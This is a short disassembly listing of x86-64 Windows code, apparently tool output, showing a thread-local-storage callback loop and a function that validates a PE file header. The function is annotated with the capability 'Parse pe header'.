push rsi
push rbx
sub rsp, 0x20
lea r12, [0x0040d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040d100]
test rbx, rbx
je 0x4026dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x4026d3
test eax, eax
jne 0x4026d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4026b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402900
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x402918
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x402920
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret